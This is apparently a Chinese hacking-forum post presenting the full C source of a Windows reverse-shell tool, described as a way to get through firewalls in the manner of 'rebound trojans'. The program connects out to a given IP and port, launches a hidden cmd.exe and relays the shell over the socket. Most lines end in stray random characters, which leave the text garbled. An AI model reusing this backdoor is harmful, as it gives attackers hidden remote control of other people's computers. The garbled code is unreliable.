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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 E9Xk8w'+  
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/* ============================== Y8`))MeD  
Rebound port in Windows NT L"[wa.<  
By wind,2006/7 VI|DM x   
===============================*/ )(ZPSg$/F  
#include B'gk/^6$eg  
#include +{Jf]"KD  
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#pragma comment(lib,"wsock32.lib") TNFm7}=  
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void OutputShell(); $NGtxZp  
SOCKET sClient; ?;KJ (@Va  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Etr8lm E  
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void main(int argc,char **argv) .{]c&Ef+f  
{ }PIGj}F/  
WSADATA stWsaData; -< dMD_  
int nRet; ETWmeMN  
SOCKADDR_IN stSaiClient,stSaiServer; Q RmQ>  
XF f+efh  
if(argc != 3) \I,Dje/:w  
{ Mevyj;1t  
printf("Useage:\n\rRebound DestIP DestPort\n"); Tk#&Ux{ZJ  
return; |7Xpb  
} @8M2'R\  
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WSAStartup(MAKEWORD(2,2),&stWsaData); xc]C#q  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); uuK]<h*  
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stSaiClient.sin_family = AF_INET; gl7vM  
stSaiClient.sin_port = htons(0); > %cWTC  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); PN^1  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) y:[VRLo  
{ ~S=fMv^BR  
printf("Bind Socket Failed!\n"); BM$tywC  
return; M>H^<N}'A  
} NF)\">Ye  
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stSaiServer.sin_family = AF_INET; -MW(={#   
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); |9"^s x  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); dj&m  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) [#rdfN'?U  
{ aU8Ti8A>  
printf("Connect Error!"); 8J?`_  
return; i~s9Ot  
} E?h2e~ ,]  
OutputShell(); % m5^p  
} Yl~?MOk  
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void OutputShell() {*Wwu f.  
{ O+Lb***b"  
char szBuff[1024]; CU^3L|f2N  
SECURITY_ATTRIBUTES stSecurityAttributes; 83,1d*`  
OSVERSIONINFO stOsversionInfo; YGpp:8pen  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; P<JkRX  
STARTUPINFO stStartupInfo; nV xMo_  
char *szShell; `iayh  
PROCESS_INFORMATION stProcessInformation; +X(^Q@  
unsigned long lBytesRead; Y+`-~ 88  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 4e\`zy  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); svRaU7<UDN  
stSecurityAttributes.lpSecurityDescriptor = 0; (tLQX~Ur  
stSecurityAttributes.bInheritHandle = TRUE; 12' (MAP  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 7^TXlW n^G  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Au*?)X- $  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); !vp!\Zj7o  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \HEo8~TY  
stStartupInfo.wShowWindow = SW_HIDE; Y[]+C8"O  
stStartupInfo.hStdInput = hReadPipe; HV7(6VSJ+  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; :#htOsP  
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GetVersionEx(&stOsversionInfo); L[r0UXYLV  
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switch(stOsversionInfo.dwPlatformId) sP8&p*TJF  
{ 4_0/]:~5  
case 1: Ns= b&Uyc  
szShell = "command.com"; [ .uaO  
break; vFC=qLz:  
default: M`fXH 3D  
szShell = "cmd.exe"; /lQ0`^yB  
break; v/+}FS=  
} 2(J tD  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); :k/U7 2  
ftuQ"Ds  
send(sClient,szMsg,77,0); ;/3/R/^g  
while(1) gO myFHv.  
{ I>o; %}  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); |(v=1#i  
if(lBytesRead) v4~Xv5|w^F  
{ _W@Fk)E6N  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); =/!S  
send(sClient,szBuff,lBytesRead,0); d;:&3r|X  
} lBZ*G  
else nGgc~E$j  
{ A1}+j-D7!y  
lBytesRead=recv(sClient,szBuff,1024,0); .FRF<_`^  
if(lBytesRead<=0) break; fqsp1m$  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Cj\+u\U#  
} KrG6z#)Uz  
} |5B9tjJ"  
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return; H[k3)r2  
}
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